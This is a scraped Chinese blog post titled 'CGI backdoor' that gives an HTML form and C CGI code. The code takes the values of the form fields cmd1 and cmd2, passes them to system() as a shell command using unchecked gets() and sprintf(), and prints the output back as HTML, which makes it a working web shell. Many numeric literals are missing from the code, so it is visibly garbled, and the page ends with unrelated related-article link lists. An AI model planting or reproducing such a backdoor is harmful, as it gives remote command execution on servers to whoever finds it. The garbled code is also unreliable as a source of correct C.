服务器开发之CGI后门
1.html代码
<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>
2.C代码
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB" void main123()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1 != NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); char *p2 = strchr(p1 + , '&');
if (*p2!=NULL)
{
*p2 = '\0';
}
printf("<br>%s", p1+); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
char filename[] = { };
sprintf(filename, "%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch == '\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main3()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1!=NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s >%d.txt", szpost + ,num);
char filename[] = { };
sprintf(filename,"%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch=='\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main2()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); } //重定向输出
//输入
void main()
{
printf("Content-type:text/html\n\n");//换行
for (int i = ; i < ; i++)
{
//printf("锄禾日当午\n");
printf("锄禾日当午<br>");
} }
服务器开发之CGI后门的更多相关文章
- 高性能服务器开发之C++定时器
高性能服务器开发之C++定时器 来源: https://www.cnblogs.com/junye/p/5836552.html 写这篇文章前搜了下网上类似的文章,有很多,所以笔者的这篇文章就不对定时 ...
- JSON的服务器开发之路
JSON的服务器开发之路 不知道需要哪儿些包... /dcywpt/WebRoot/WEB-INF/lib/commons-collections-3.2.jar /dcywpt/WebRoot/WE ...
- C语言进行站点开发之cgi
安装Apach 配置ApacheRuntime 以下的过程中一直点击next 配置CGI,放开配置:AddHandler cgi-script .cgi watermark/2/text/aHR ...
- JavaEE开发之SpringMVC中的静态资源映射及服务器推送技术
在上篇博客中,我们聊了<JavaEE开发之SpringMVC中的自定义拦截器及异常处理>.本篇博客我们继续的来聊SpringMVC的东西,下方我们将会聊到js.css这些静态文件的加载配置 ...
- Android安全开发之WebView中的地雷
Android安全开发之WebView中的地雷 0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者 ...
- 微信公众号开发之VS远程调试
目录 (一)微信公众号开发之VS远程调试 (二)微信公众号开发之基础梳理 (三)微信公众号开发之自动消息回复和自定义菜单 前言 微信公众平台消息接口的工作原理大概可以这样理解:从用户端到公众号端一个流 ...
- Android安全开发之ZIP文件目录遍历
1.ZIP文件目录遍历简介 因为ZIP压缩包文件中允许存在“../”的字符串,攻击者可以利用多个“../”在解压时改变ZIP包中某个文件的存放位置,覆盖掉应用原有的文件.如果被覆盖掉的文件是动态链接s ...
- Cocos2d-x 3.x游戏开发之旅
Cocos2d-x 3.x游戏开发之旅 钟迪龙 著 ISBN 978-7-121-24276-2 2014年10月出版 定价:79.00元 516页 16开 内容提要 <Cocos2d-x ...
- iOS开发之Socket通信实战--Request请求数据包编码模块
实际上在iOS很多应用开发中,大部分用的网络通信都是http/https协议,除非有特殊的需求会用到Socket网络协议进行网络数 据传输,这时候在iOS客户端就需要很好的第三方CocoaAsyncS ...
随机推荐
- Zabbix实战-简易教程(7)--监控第一台host
一.安装 agent 1.1 Agent分布 1.2 Agent安装 基础模板安装方法: wget -qO- http://zbxinstall.168.com:18888/base/agent-in ...
- Effecvtive Java Note
代码应该被重用,而不是被拷贝 同大多数学科一样,学习编程的艺术首先要学会基本的规则,然后才能知道什么时候可以打破这些规则 创建和销毁对象 1.考虑用静态工厂方法代替构造器. 优势:有名称.不必再每 ...
- Android应用程序使用两个LinearLayout编排5个Button控件
学习存档: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:androi ...
- POJ2503-Babelfish-二分
Babelfish Time Limit: 3000MS Memory Limit: 65536K Total Submissions: 44545 Accepted: 18803 Descr ...
- 数塔~~dp学习_1
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2084 数塔 Time Limit: 1000/1000 MS (Java/Others) Mem ...
- RAID 详解
一.什么是RAID 磁盘阵列全名是『Redundant Arrays of Inexpensive Disks, RAID 』,英翻中的意思是:容错式廉价磁盘阵列. RAID 可以透过一个技术(软件或 ...
- Git 忽略提交 .gitignore
在使用Git的过程中,我们喜欢有的文件比如日志,临时文件,编译的中间文件等不要提交到代码仓库,这时就要设置相应的忽略规则,来忽略这些文件的提交. Git 忽略文件提交的方法 有三种方法可以实现忽略Gi ...
- 自己动手实现一个简单的JSON解析器
1. 背景 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式.相对于另一种数据交换格式 XML,JSON 有着诸多优点.比如易读性更好,占用空间更少等.在 ...
- Thinkphp 3.2中文章详情页的上一篇 下一篇文章功能
额 简单2句话解释下 获取上一篇文章的原理,其实就是以当前文章的id为起点进行进行查询,例如id=5的文章 select * from article where (article_id<5 ...
- 将本地的项目导入到github仓库总结lxw
关键步骤: 第一:git clone https://github.com/lxw18231857001/demo-.git #把github上面的仓库克隆到本地 本地项目文件夹下 ...